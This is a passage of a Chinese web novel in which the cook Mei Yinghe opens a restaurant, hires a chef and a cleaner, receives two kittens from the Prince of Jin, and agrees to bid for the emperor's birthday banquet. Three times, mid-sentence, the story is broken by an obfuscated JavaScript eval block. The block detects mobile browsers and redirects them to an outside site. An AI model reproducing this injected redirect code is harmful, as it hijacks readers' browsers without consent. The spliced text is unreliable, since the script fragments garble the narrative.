又是一个熟悉的声音,文明修已经站在了眼前。 素雅的浅灰色直裰,玉冠玉带,满身书卷气,既不失温文尔雅的文人气质,又有沉浸官场历练后的沉稳。 文明修总是一副好脾气的模样,眉眼清秀说话先笑,“恭喜开张,大吉大利。下官来讨口饭吃。” 瞧瞧人家,多风趣幽默、平易近人。 小梅笑得眼睛眯成一条缝,“恭候文大人光临,听说大人高升了。” 文明修摆手:“协助许大人管理京城事宜罢了,主要是陛下心疼许大人,让下官从旁协助。” 文明修升了京城少尹,这在夜市间都传遍了。 梅映禾道:“恭喜大人,我还没来得及给大人送上贺礼,怎好收大人的礼。” 文明修带来的竟也是一副对联。 “小娘子送的礼,清砚可不敢收,你就收下这副对联,算是对清砚的道贺了吧。” 真是个情商高会说话的帅哥。 梅映禾恭敬不如从命。 将这一切看在眼里的秀才被钉在原地,脸上一阵白一阵红的,文明修是书院的夫子请过来的老师,曾经指导过这些学生们的文章,在他们眼里,文明修就是他们的榜样,是无法企及的高度。可这位学富五车受陛下青眼的大人,跟梅小早已经熟络到自称小字。 还有他们提及的那位许大人,那更是他们这些读书的学生们眼中神一般的存在。可是现在,他们似乎都跟梅映禾很熟悉,这位曾经自己的邻居,被母亲指责配不上自己的小娘子,俨然已经是高不可攀了。 秀才自嘲地笑笑,看了一眼怀里还没送出去的对联,觉得自己像个小丑。 梅映禾后知后觉,回头想要请秀才进去喝茶的时候,发现人已经走了。 “走了就走吧。”小梅毫不客气,“这种人少来往的好。” 望着日光下转入巷口的人影,梅映禾有些无奈。 回到铺子里,阿十正在帮文大人点菜。 文明修也不客气,“两个炒菜,一荤一素,一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192631|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米饭一份汤,够了,具体做什么,全凭小早做主。” 平易近人又不失礼貌客气,情商高的人就是不一样,梅映禾感慨,难怪人家职场一路顺遂深得圣心,不是没有道理的。 文明修的卷轴还抱在怀里,梅映禾亲手打开,“大人这份礼真是太看得起我了,我这屋里都是油烟,恐毁了大人的墨宝。” “无碍。”文明修道,“我还怕梅东家嫌弃我穷酸,不肯挂上呢。” “怎么会呢。”梅映禾指着一面空墙,“阿十,挂这里。” “直上青天揽明月,欲倾东海洗乾坤。”梅映禾受宠若惊,“大人真是谬赞了,这,太大了,我一个小小的食铺子哪里当得起。” “怎么当不起,老夫看正合宜。”许且下了马车正朝店内走来,身后还跟了许多人。 “义父。”梅映禾笑嘻嘻地出去迎接,将义父请进店里,却见文明修匆忙行礼:“诸位大人好。” “清砚腿脚倒是快,竟比咱们先到了。”许且心情颇好,捋须和同僚说笑。 梅映禾知道义父这个人不喜与人结交,平日连宴席都甚少参加,能躲就躲了,好在无人敢得罪这位脾气古怪的老大人。今日却带着这么多大人来给梅映禾捧场,她都不知道说什么好了,这是生生把社恐逼成了社牛啊。 “义父,这……”梅映禾有些不知道说什么好,“让义父为难了。” “你只管有什么上什么便是,他们没见过世面。”许且拍了拍她的手,“你开铺子,老夫高兴,让他们掏掏荷包长长见识也是应该的。” 梅映禾失笑,赶忙去后厨准备。 同午时不同,梅映禾支起耳朵想听听铺子里的动静,却什么都没听到。阿十过来,抹了一把汗道:“大家都在喝茶,没人说话,好像……都很渴。” 梅映禾:…… 赶紧又问:“那文大人呢。” 阿十说:“文大人也在喝茶,一个人都喝了一壶了。” 在顶头上司的眼皮子底下被虎视眈眈地盯着,文明修哪里吃得下饭,等饭菜端上来匆匆扒两口就赶回去上职了。 许且心情极好,还喝了点酒,直夸梅映禾手艺绝佳,“堪比御厨。” 梅映禾受宠若惊,将义父的酒偷偷换成了米浆,人已经喝高了也吃不出来味道,直到下午才将人送上马车,许且临走时还吩咐车夫:“送老夫回去你就回来等着,接小早她们两个晚上打烊后回府。” 能得这样的关怀和照顾,梅映禾自然不会推辞,只想着晚间要早点回去陪陪老人家。 第一日开张因为有了村长加送的肉和菜,一切得心应手,晚间的客人依旧排起了长队,还有人中午吃完觉得好,晚间带着家人朋友再来的。 梅映禾一直忙到了亥时三刻,灶上炖着一锅高汤,留着明日炒菜用的,其他的都已经收拾完毕。店里头还有两桌客人,看样子也像是要结束了,小梅噼里啪啦地打着算盘,脸上带着难以控制的得意,阿十在一旁逗小九,才两个多月,小九的肚子已经吃得圆滚滚的了。 时辰不早了,梅映禾擦了擦手站到店门口,已经二更了,敲梆子的老头儿佝偻着背走远了,街面上没了白日的繁华,零星的烛火里是还没收摊的小铺。 “晚上比中午几乎翻倍了。”小梅的声音透着兴奋,“赚的倒是多了,就是你太累了,这么下去可不行。” 对了,说好了下午张贴告示招人的,忙起来都忘记了。小梅从柜后头走出来抱着梅映禾的胳膊,二人坐在店门口的石阶上。 夜风吹来,略有些寒凉,冬日就要到了。 “明日一定得招个大厨,洗碗扫地的大婶儿也得招一个。”梅映禾甩着酸痛的胳膊看向长街的尽头。 那是皇城的方向。 “你在等七郎?”小梅文,脸上带着意味不明的笑。 被她说中了,梅映禾觉得脸上一热,“他说来送贺礼的,不会忘了吧。” 28. 晋王的贺礼 秋夜凉如水,天河白似银。 梅映禾抬头看天,还真是那个味道。 小梅说:“嗨,肯定是有什么事绊住了呗。”说完似乎又想起了伤心事,讪讪道:“也不知道九哥什么时候能回来,他若是看到……” 远处的马蹄声传来,二人看去,人已至近前,是佑安。 “小娘子久等了。”马儿还未停稳脚步,佑安便急匆匆跳下马来,“王爷今日留宿宫中脱不开身,让属下特将贺礼给小娘子送来,改日殿下再亲自登门道贺。” 果然是被绊住了,小梅喜滋滋站起身接过他捧着的一个竹篮子,将人让进铺子里。 竹篮子铺了软垫蒙着盖布,梅映禾揭开布的一刹那,就着灯光看到了两只毛茸茸的小奶猫。 “兵士们的训练场在京郊,很多无家可归的可怜狸奴,王爷便养了起来。”佑安道,“说是养其实也是散养着,给吃给喝却不约束它们活动。这两只是前几日刚出生的,前后两天,黄色的那只比狸花大了一日,母猫都跑走了,王爷说小娘子心善又是个喜欢小动物的,便将此当作贺礼送来。” 这份贺礼算是送到了梅映禾的心巴上,既是她喜欢的也是食铺需要的。 “好可爱,好可怜啊。”梅映禾全程低着头,眼睛盯着两个小家伙,一脸慈爱,“有名字吗?” “王爷说让小娘子起。”佑安笑着,果然王爷说得没错,小娘子很喜欢。 梅映禾不假思索,“既是拾来的,那便跟着小九和阿十排行吧,以后就是我好吃食铺的喵了,黄色的小橘就叫拾一,黑色小狸花就叫拾二。” 上辈子梅映禾养过猫,是在一个大雨天捡的,养了十八年,小猫寿终正寝,梅映禾哭得死去活来。 没想到这辈子还能继续圆梦,真好。 两只小家伙似乎很喜欢自己的新主人,挣扎着朝梅映禾爬过来,颤颤巍巍、哆哆嗦嗦,还发出“啊啊”的夹子音,真真是太可爱了。 听到声音的小九摇着尾巴激动地围着两只小狸奴打转,那么爱叫的小狗竟然一声都没叫,生怕吓到了两个小猫,梅映禾将小九抱起来近距离接触小猫,小九闻了闻,又轻轻舔了舔,高兴地乱颤直往梅映禾的怀里钻。 阿十也跑过来看,还十分疼惜道:“东家就把它俩留在店里吧,我之前养过狸奴,还给狸奴接生过,夜里有我,白天两位阿姐再照顾。” 这样也好,两只小猫太小了,每日都搬来搬去也不好,梅映禾便交代了几项细节,“夜里一个时辰就要喂一次羊乳,别凉也别烫着,喂完之后要这样托在掌心里拍嗝,还要记得用软布帮它们排尿,之后放回窝窝里它们会自己睡觉的。” 说完又忙着剪了两块刚买的长毛软毯,“用这个垫窝窝,小狸奴怕冷,千万别冻着它们。” 阿十一一应下,梅映禾又把该准备的都准备好,放在了阿十房间里的桌上,这才道:“那便辛苦你了,明日招了人,白天你先睡个饱觉。” 看着她们这般喜欢两只小狸奴,佑安放心地回去复命了。 宫中灯火通明,御书房里,赵怀风正拉着赵行之商讨今年万寿宴的事宜。 这是他继位以来的第五个寿宴,刚好赶上了三十整寿,本想着在宫里头大办一场,君臣同乐,谁知今日下午说起来的时候,赵行之主动请缨要替皇兄办一场寿宴。 在赵怀风的印象中,这个弟弟向来对这种热闹的应酬和宴席唯恐避之不及,没想到今年却要主动张罗。 赵行之说:“先前是臣弟不懂事,这些年也没能为皇兄分忧,一场寿宴,臣弟想尽一份心。” 他倒是也没有说假话,这一直都是赵行之的心里话,只是从未宣之于口,今日不知怎么的,听到皇兄提及万寿宴,竟想起了梅家兄妹,羡慕起人家的手足之情,自己也破天荒开了口。 本以为皇兄会拒绝,毕竟这是一场大宴,谁知赵怀风二话没说非常愉快地答应了,“御厨做的菜朕早就吃腻了,今年就到你的晋王府办,置办宴席的厨子你来请,只记住一条,朕想吃点儿好的。” 赵行之点头答应,这倒真是不难。 看着弟弟胸有成竹的样子,赵怀风也眯起了眼,冲身边的伴驾太监吩咐:“五品以上的官员携家眷出席,人多热闹,朕尤其喜欢看年轻的小郎君小娘子们在一处,鲜活得很。” 心里的算盘打得噼里啪啦响,这可是个相亲的绝好机会,皇后知道定是要好好替这个千年不开花的铁树弟弟张罗一番的。 兄弟俩各怀心思,心情都是一样的愉悦。 过了两日,赵行之带着这个消息来到好吃食铺的时候,梅映禾安排人正在往店里头搬运肉和菜。 现如今是老村长亲自给她送货,每回都多带十多斤,除了供给好吃食铺的以外,还有另外售卖的,几乎日日都是满车来空车归。 运输的几个乡亲壮汉也都分头行动,有的留下来搬运,有的上门去给人送菜,忙活得热火朝天。 梅映禾拉着老村长进到店里头,“您老人家好口福,今日店里试菜,您和奎叔留下来尝尝,顺道给我点儿意见,好改进。” 对于食铺的试菜小梅、阿十包括小九在内都是十分欣喜也习以为常的事。 前两日好吃食铺又添了两个人。 一个掌勺的大厨姓周,原先是这京城里最有名的酒楼状元楼的主厨,只因一次意外起了火伤了腿成了瘸子,那状元楼就将人辞了。周大厨也从此失去了谋生的出路,虽然一身绝活怎奈腿脚不好而四处碰壁,如今家中积蓄已经耗尽,还有妻儿老小要养…… 这样的经历让梅映禾想起了自己。她不就是意外爆炸才穿越而来的吗,当即便拍板将人留了下来。以至于这一切发生得太快,周大厨难以置信,一再追问她,“小娘子可是东家,可是说话算话的。” 梅映禾不但当场和他签了三年的契约,还提前支付了他一个月的酬劳,竟比状元楼每月五千文还要多一千文,可算得上是京城里同行业的佼佼者了。 激动的四十多岁的汉子当场就跪下了,“东家的大恩,小人做牛做马回报您。” 做牛做马梅映禾倒是不敢当,上辈子自己就是牛马,深知牛马的不易,只叫他好好烧菜便是。 周大厨也不负众望,当日试了几道他的拿手菜,梅映禾又点了几道菜,都十分出色,这个帮手算是请对了。 只一点,这行业中的老人又是身怀绝技的人,多少都有些桀骜不驯。表现在这个男人身上便是固执。 对于梅映禾的建议和指点,只摇头:“说到做菜上,小娘子还是听我的吧。” 一副十分不相信东家小小年纪也会烧菜的样子。 也难怪,自周大厨来了之后,梅映禾就没进过灶房,他一个人完全包揽,省心省力是真的,可与时俱进和之前设想好的开拓创新,要让大隶人开开眼,尝尝后世的美食这个想法,便完全卡住了。 周大厨对于梅映禾倒也不是全盘不信,她做的那些小食点心还是可以的,虽然他认为上不得台面,但是拿回家后老婆孩子倒是极喜欢。 今日,为了能够和这位这个时代的厨艺前辈达到平等交流共同进步的目的,梅映禾借着试菜打算小露一手。 除了周大厨,梅映禾还请了一位打扫洗碗的张婶儿。 这位便是好脾气不多话的一位,年纪大约在五十多岁,家中的亲人都死光了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14209943|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤身一人想要活下去实在不易,硬生生学了许多技能,除了勤快打扫之外,还绣得一手好针线,平日里能帮阿十他们缝缝补补,梅映禾当即也给了高薪,每月三千文,吓得张婶儿还以为要卖身,直到签了契约这才真的相信。 毕竟,按照大隶朝的薪资水平,九品官员的月俸也只是每月九千至一万文,梅映禾给了这样的薪酬当真算是高的了。 不为别的,“大家都不容易,我是真心实意,自然也希望旁人也如此对我。” 这是梅映禾的真心话,也将大家的心聚拢在一起了。 “老村长,您先坐。”梅映禾招呼正在验看肉和菜的周大厨,“您陪村长聊聊,灶房交给我了。” 一大早没什么食客,可周大厨却是不愿,“小娘子想吃什么我来,我那灶房的东西你别给我弄乱了。” “东家,还有……” 梅映禾一转身挡在灶房门口,伸出手抵住周大厨,“再往前一步就扣你月俸。” 周大厨:…… 这真的太难抉择了。 梅映禾给阿十和张婶儿使了个眼色,二人合力将周大厨拉走了。 这桌宴席人不多,只有店里这几个人,再加上村长和奎叔,还有几位送菜的乡亲,十个人刚好一桌。 刚送来的新鲜菜和肉正好派上用场,梅映禾打算置办一桌像模像样的宴席,让周大厨不再小瞧她。 上一世做过国宴菜的梅映禾从里头选了几道菜,后世的国宴菜是为了招待外国友人,彰显中式餐饮的独特魅力,放到大隶梅映禾想让这个时代的人品尝一下后世人的口福。 其中后世最出名的一道宫保鸡丁便是不可少的,红而不辣、辣而不猛,香辣味浓,肉质滑脆,酸甜中带着微辣的口感,简直无人不喜。 第二道梅映禾选了北京烤鸭,这道菜是北方风味,也是一道脍炙人口的美味。第三道便是著名的粤菜白切鸡,接下来是杭帮菜龙井虾仁,川菜开水白菜,苏帮菜松鼠鳜鱼,还有文思豆腐和店里头就有的狮子头和佛跳墙,梅映禾又增加了几道后世创新菜:云南薄荷炸排骨、香茅辣炒蛏子、油香卤肉卷、喃咪酱香茅烤鱼和麻辣虾仁豆腐石锅拌饭可谓是集合了南北特色,新老融合,也是梅映禾技术的体现。 灶房里煎炒烹炸,周大厨在前头坐立不安。 阿十道:“周大厨不要不放心了,东家阿姐的手艺是这个的。” 他比了个大拇指,张婶儿也说,“咱们来之前可不都是东家小娘子掌勺,我可是听说这食铺是远近闻名日日满客的。” 这个周大厨也听说过,却并不觉得什么。京城的食铺也好酒楼也罢,能做出来的味道就是那样,周大厨对此道是再了解不过了,多半都是就着酒伙着朋友热热闹闹,至于菜的口味说得过去便罢,要说有多好吃,周大厨摇头,以他的技术,就没有能盖过状元楼的,当然,那也是他任主厨的时候,现在的状元楼,也不行了。 勤行,可不是个容易的行当,没有几十年的功夫想要做出好吃的菜,根本就不可能。 再看看东家小娘子,人品、做派绝对是一等一的好,可毕竟只是个小娘子,年岁小,没有什么经验,人又长得漂亮,嘴巴讨喜,吸引了客人也是自然的。 十几道菜端上来,香,真香。 梅映禾擦了擦手从灶房出来:“开饭了,大家尝尝吧,有什么意见尽管提。” 说完把周大厨按坐在位子上,“您尽管批评。” 菜做得太多了,大家忙着张罗拿碗筷拼桌子搬凳子,周大厨围着桌子陷入了沉思。 “再来两个人吃刚刚好。” 梅映禾话音落,打外头走进来两个人。 29. 还是银子好使 赵行之也被眼前的一幕惊了一下,本想着早些过来,免得午时她要忙碌,却不承想,这个时辰梅映禾就已经……要开席了。 好在他没有吃早食,此刻更是腹内空空、饥肠辘辘。 “七哥来了。”梅映禾迎着二人进来,大家也纷纷打招呼。 对于赵行之的身份大家都已经知道了,可是仍旧像在梅花村时候一样对待他,就像是邻居的大小子一样亲昵自在,这让赵行之每次来都觉得很舒服。 “七哥是个有口福的,今日我们试菜,刚好做得多了。”梅映禾笑哈哈地给大家分别安排了位子。 赵行之看着一桌子的菜,不仅上得了台面,还有些是连他都不曾见过的,心里的想法越发坚定了。 关于万寿宴,赵行之效仿宫中采办发了买扑文书,所谓买扑便相当于后世的招标。皇兄想吃宫里头没有的佳肴,赵行之便广而告之也好给各个酒楼平等的机会。 告示发出去几日来了许多报名应征的酒楼、食肆和食铺,唯独不见好吃食铺。 难道是她还不知道这个消息? 赵行之等不及跑来看看,若是梅映禾当真不知道的话便告诉她,鼓励她报名参加。赵行之胸有成竹,只要梅映禾报名,这最后的宴席承办者非她莫属。 正如周大厨对京城这些酒楼食肆的评价,味道都差不多,并无多出彩多出挑的东西,花费的心思也远不及梅映禾在吃上的用心。 当时皇兄提出万寿宴的时候,赵行之第一个想到的就是梅映禾,一来出自她手里的吃食赵行之自信一定能够让皇兄满意。二来也能给梅映禾一个机会展示自己的厨艺。之所以要买扑,只是不想让她觉得自己胜之不武。 真刀真枪的比拼,最后的赢家也一定是梅小早。 对此,赵行之毫不怀疑。 赵行之看了一眼佑安,佑安会意,夸道:“梅小娘子的菜真的是一绝,憋在这小店里可惜了,我们来的时候看到告示,万寿宴买扑,好多酒楼报名呢,小娘子可听说了?” “恩,听说了。”梅映禾开了一坛子新酒,“今日这酒可是老村长自家酿的,刚带过来,大家有口福了。” 她似乎对万寿宴全然不放在心上。 佑安看了一眼赵行之,接着问:“那小娘子可报名了?” “没有。”梅映禾张罗大家入座,准备开席。 “为何?”佑安追问。 梅映禾这才抬头看他,笑说:“太麻烦。” 她开始张罗大家喝酒试菜,关于万寿宴的话题被搁下了。 梅映禾没有动筷箸,看着大家吃。 “好吃,恩,真好吃。” “我从未吃过这么好吃的排骨。” “这佛跳墙可真香啊,难怪佛祖都要跳墙啊。” “这个豆腐好吃。” “狮子头好吃。” “这个饭也好吃。” …… 大家七嘴八舌,丝毫不吝啬赞叹,也的确是好吃。 梅映禾不说话,看着周大厨。 他皱着眉头,起先还觉得都是小娘子夸海口,然后看到这些个没见过的菜肴又觉得是小孩子突发奇想乱来,直到吃了一口一口又一口…… 梅映禾发现周大厨的脸越来越红,神色越来越不对。 “怎么了,周大厨,这菜有什么问题但说无妨。”梅映禾问。 周大厨看着梅映禾,憋了半晌,才道,“东家,是俺眼拙,不知真人就在眼前。惭愧惭愧。” 说着就要拖着一条伤腿起身行礼,被梅映禾上前按住,“您若是觉得还过得去,那便日后咱们多切磋。推陈出新是本食铺的宗旨,我脑子的怪想法多,还得您这个行家前辈参详参详才能端得上台面。” 人家是东家,人家菜做得远在自己之上,为人还这般谦虚,这让周大厨无地自容,连连道歉,一方面又觉得自己实在幸运,能跟得这样的东家,简直就是撞了大运了,好好跟着东家干,认真学点儿技艺,报答东家的大恩,自己将来的日子只会越来越好。 宴席得到了大家的一致认可,梅映禾如释重负,这些菜也是她接下来想要推出的。 开业快一个月了,再不出新菜恐怕大家就吃腻了。 酒过三巡菜过五味,周大厨突然想起了佑安方才提及的话题,问梅映禾,“东家,那个万寿宴不如咱们报名试试?” 现在在周大厨眼里,梅映禾的技艺恐怕全京城无人能及,为什么不参加,岂不是白白放过了这个扬名立万的好机会。 赵行之吃得正酣畅,听闻此言,用感激的眼神看了一眼周大厨。 却听梅映禾道,“咱不去凑热闹,又累人又麻烦,搞不好还要掉脑袋,不划算。” 赵行之:…… 做个饭而已,跟脑袋有什么关系。 梅映禾多半是宫斗权谋剧看多了,想起了御膳里下毒啊,宴会上刺杀啊之类的剧情,不寒而栗,好好的日子慢慢地过,就蛮好。 被明确地拒绝了,周大厨虽然觉得可惜,可毕竟东家发话了,他便听从。心里念着这么些东西,可有的学了。 这次试菜十分成功,宴席后半程老村长借着酒劲拉着梅映禾絮絮叨叨说个没完: “那老赵非要自己种菜,不相信咱们的技术,这下好了,种出来的东西比我们一半都不如。前日来找我探口风,想要加入,我没理他。” 老村长的脸上难得露出得意又有几分小傲慢的神色,梅映禾觉得很可爱。 “东头的钱家如今也后悔了,若说那老赵只是看到了菜的长势,这钱家可是将东西实打实地砸手里了。”老头儿咂巴咂巴嘴摇头,“非要自己卖,就卖出去两日便再也卖不出去了。再看看咱,光京城每日就是上百斤的送货,他们能比?” 那自然是不能比的,这当然值得老头儿骄傲一把。 “孙家也看出苗头来了,起先不相信咱们能做好这会儿巴巴地跑来求我,我让他先等着,后头排队去。” “你王婶子矛盾得很,明明就是一把养鸡鸭的好手,偏偏不自信怕竞争,生怕自己选不上丢脸,这会儿也来找我啦,我看在她技术好的份儿上勉强让她照顾鸡鸭,看表现。” “还有周家媳妇,自己偷偷养鸡鸭,我当没看见,前儿我家二小子都给她偷了来,她不敢声张只能吃哑巴亏,我也当没看见。” 没想到稳重古板的老村长竟还有这样促狭的一面,梅映禾听得津津有味,吃瓜才是最好的下饭菜。 “吴家新媳妇还想加盟你的早食铺子,你应不应?” “应。”梅映禾想都不想,“但凡有这样的您就替我答应了便是,也让她们放心,每种吃食我会控制数量,绝对不让自己人打自己人,大家做的都不一样。” “好嘞。”村长答应得很爽快,端起酒杯敬梅映禾,“小早啊,你是个好孩子,梅花村有你就是福气。” 梅映禾不习惯被人夸,笑嘻嘻地干了。 这餐饭吃得大家很是愉快,赵行之除外。他想劝梅映禾答应可是磨不开面子,又怕她知道是他的主意,反而更坏事,所以憋得很辛苦。 他做梦都没想到,梅映禾会觉得做万寿宴是一件危及生命的事,这是不是意味着在梅映禾眼里,皇家的人都是随时能要了人脑袋的混蛋。 心里不是滋味,赵行之一连几日都闷闷不乐,在训练场上也越发严厉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252840|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>佑安看着这些新入伍的士兵一个个被累成了狗,实在不忍心,问:“王爷,他们训练已经两个月了,按照惯例该放假三日回家探亲了。” 赵行之一愣,猛然间想到了什么,吩咐佑安,“明日就放假,不,今日就放,你把梅九畴叫来。” 就这样,梅九畴带着使命和礼物回了家。 所谓的家就是京城的好吃食铺,和许府。 梅映禾在见到哥哥的那一刻哭成了泪人,眼泪止不住地流,好似受了天大的委屈,抱着哥哥看了又看,直到确认他的确很好之后,这才好一些。 小梅也很激动,拉着梅九畴的胳膊就没松开过。 好吃铺子从看铺面租铺子到装修、开张,梅九畴全然不知,如今看到自家妹子这般能干,激动得不知道说什么好,只觉得小梅和小早两个小娘子一定是受了天大的苦了。 三人聊了好一会儿,周大厨特意做了丰盛的饭菜端上来,梅九畴吃得狼吞虎咽。 该问的都问了,该说的也都说了,梅九畴还特意看望了拾一和拾二,两个小家伙现在是小九负责带着,小狸奴长得是真快,已经能跑能跳能吃能睡了,每日在店里别提多自在了。 看着如今这般蒸蒸日上的局面,梅九畴想起了赵行之的吩咐,问小早,“我来的时候看到了告示,小早,当今陛下是个脾气和善的人。” 虽然还没见过陛下,这也不是赵行之教他说的,但是看看赵行之,亲兄弟两个脾气差不到哪里去,梅九畴劝她,“你去揭了榜,现在又有周大厨帮忙,一定能一鸣惊人。” 周大厨在一旁点头如捣蒜,倒不是想自己出名,他是真心觉得就凭着梅映禾这手艺,不亮个相露一手,着实可惜了。 梅映禾仍旧摇头,“你们怎么都劝我。” 梅九畴问:“还有谁劝过你。” “街坊邻居、梅小早的粉丝们,还有日日来这铺子里吃饭的食客们,还有……”她想了想,“义父。” “你看,我说吧。”梅九畴抚掌,好似找到了共鸣,“连义父都劝你,一定是有道理的,你也别固执了,试试看。” 梅映禾的头摇得似拨浪鼓,瞪着一双大眼反问他,“哥哥,你从前不是这样的呀,咱们无欲无求随遇而安,够吃够喝就很好,何必跟人争跟人抢,多累。” 梅九畴被噎了一下,自己从前是这样的吗。 “可是现在哥哥不是这样了,哥哥当了小队长,手底下管着五六个人呢。”梅九畴搬出大道理,“人生如逆水行舟,不进则退,要想保持住尚且用力,想要更好地发展自然要拼尽全力。小早的理想不也是在京城置办宅院和更大的酒楼吗。” 这倒是,梅映禾点头,“可是不用掺合那个什么万寿宴,咱们就这样一日一日积累,早晚也能达成心愿啊。” “可是……” “可是那样会很慢。” 头顶的亮光被人影遮住,赵行之接过梅九畴的话头,“一场万寿宴你能净赚百两银,这样的好事你却要拱手相让,自己在这里吭哧吭哧一点一点积累,岂不是舍近求远?” “什么,百两银?”梅映禾惊呆了,“几百两?” 赵行之没说话,认真想了想伸出了五根手指。 那是什么概念,五百两银,岂不是能买房了,还是大房子。 赵行之点头,“单单是陛下的赏赐就不止这些。” 是啊,这可是皇帝过生日,做得好的话会有赏赐,那些赏赐可不是一盘菜一碗饭能相提并论的。 “如何?”赵行之俯身,自上而下看着目瞪口呆的小娘子。 “成交,干。”梅映禾当即拍板。 果然还是银子最好使。 30. 万寿宴 这对于好吃食铺和梅花村都是一个石破天惊的消息。 不仅仅是出对于梅映禾的相信和支持,大家或多或少也为自己能够参与进来而感到兴奋、骄傲,都铆足了劲儿,准备拿出最好的东西来给梅映禾,希望能够帮到她。 许且知道这个消息的时候,梅映禾正陪着他吃宵夜,老头儿第二日便写了好几张纸交给她,“老夫认识陛下二十多年,他喜欢吃什么,忌讳什么这里都有,你拿去参详。” 对于从小看着长大的孩子,许且对于当今陛下也是十分了解,梅映禾赶紧收好,投其所好的道理她太懂了。 到了铺子上文明修已经等了她半个时辰了,也塞给她几张纸,“这是下官熟悉的几位高官的口味和喜好,小早拿去慢慢看,希望能够帮到你。” 这下子可算是把贵客们的信息都掌握全了,梅映禾很感激想要感谢文明修,他却摆手道:“小早只当不知此时,许大人实在刚正,若是教他知道了下官如此行事,恐怕老大人定是要将下官臭骂一顿的。” 文明修行了个长长地礼,“烦请小娘子务必替下官保密,预祝小娘子旗开得胜、马到成功。” 梅映禾想告诉他,其实义父早就先他一步开了后门了,谁知人却紧张地跑远了。 这边人刚走,那边又迎来村长送来的菜。 全村人知道这个消息颇为振奋,托老村长带话,“希望你能拿下这个宴席,好好地给梅花村争口气。” 顿觉身上的担子重了起来,这不仅仅是好吃食铺的事,如果做得成功了,梅花村的名声将会更响……想到这里,梅映禾神清气爽,“村长放心,我定然全力以赴。” 不仅要拿下这场宴席,还要干得漂亮、完美。 首先一点统一服装。梅映禾画了样子,让张婶给铺子里的每个人都做了一条厨师围裙和厨师帽,胸口和帽边上都要绣上“好吃食铺”的字样,这是最好的宣传。 其次所有的蔬菜、肉、瓜果包括米面也用统一的布袋装,并且让村长请村子里的阿婶儿们也绣上“梅花村”的字样,这样既保证了干净、统一,还能保证食材不被误拿。 最后梅映禾给每个人重新分配了任务,周大厨和她自己负责掌勺,自然是做拿手的菜。张婶儿仍旧负责洗刷、收拾,做席面的过程中也要保证灶房的干净整洁和碗筷用具的卫生。小梅姐先负责记账整理成本,之后要负责记录做账,她要知道利润是多少。并且在宴席的过程中负责给梅映禾打下手,洗菜、切菜、送菜等。阿十就负责给周大厨打下手,同时奎叔负责赶着马车等在门口以备不时之需,临时需要什么就驾车去买。 至于菜单和酒水,梅映禾和周大厨花了整整七八日才最终敲定,就是那日的国宴菜,根据周大厨的建议,又增加几道更适合年龄大的老臣们吃的传统菜,这是周大厨的强项,梅映禾便可以放心地交给他了。 这些菜都是试了又试、改了再改的,直到梅映禾觉得满意为止。 既然还未确定是哪一家承办,梅映禾琢磨,买扑比拼的时候还应当有一个亮点,于是她便想到了一个东西。 一切安排妥当,在买扑的那一日,几个揭了榜的酒楼食肆的东家、掌柜们都从侧门进入,领路的管家说了,“无论是谁应了这宴席,到了那日都是从这个门进出。” 梅映禾点头,一个很窄很小的门,隐没在小巷里,门口的路刚好能停下一辆马车,倒是低调得很。 不过这不是她关心的重点,评比试菜的过程比她想象的要严谨得多。 只说这负责品评的人,一个个都是身份贵重:皇帝身边的大太监洪公公,御膳房的主厨谢大厨,礼部侍郎王侍郎和太医院孙院正。 在各家酒楼的菜品亮相的时候,梅映禾的好吃食铺便已经在王侍郎的评价簿上被打了好评。 瞧瞧人家,统一服装干净利落,菜品鲜亮包装考究,东家小娘子长得精神,下头的人也个个机灵,尤其那位大厨,王侍郎认得,曾经状元楼的主厨,可谓风光一时,后来说是受了伤便再无消息了,现在看来是被这位小娘子捡了去。 还有她们送菜的队伍,呵,那叫一个整齐划一,王侍郎越看越满意,脸上露出了笑。 现场比拼主要环节分两个部分,一是要主厨讲述一下菜品和材料的来源,以方便院正判断可有皇亲国戚和众位大臣不能吃的东西,方便提点,二来谢大厨也好看看各家的构思。 至于这食材的来源和搭配以及菜单,除了好吃食铺的原封不动之外,其他几家都有要修修改改的,不是陛下忌口就是某位老臣相克,总之,菜谱被划的乱七八糟,几位东家和大厨大大的受挫。 再看梅映禾和周大厨,气定神闲面带微笑,很清闲。 朝中有人好办事,说的便是这个意思吧,梅映禾想。 至于构思,梅映禾除了菜品巧思博得了谢大厨的好奇和好评之外,最让洪公公惊喜的是,“这位小娘子竟还为陛下准备了一稀罕物,说是惊喜,老奴听她描述,那叫一个新奇,说是叫生日蛋糕,老奴品尝了,哟,真是好吃得很呐。” 这是洪公公回来向赵怀风禀报的原话,配合那表情,说得赵怀风心痒难耐,一直问:“什么材料,肉的还是素的,甜的还是辣的。” 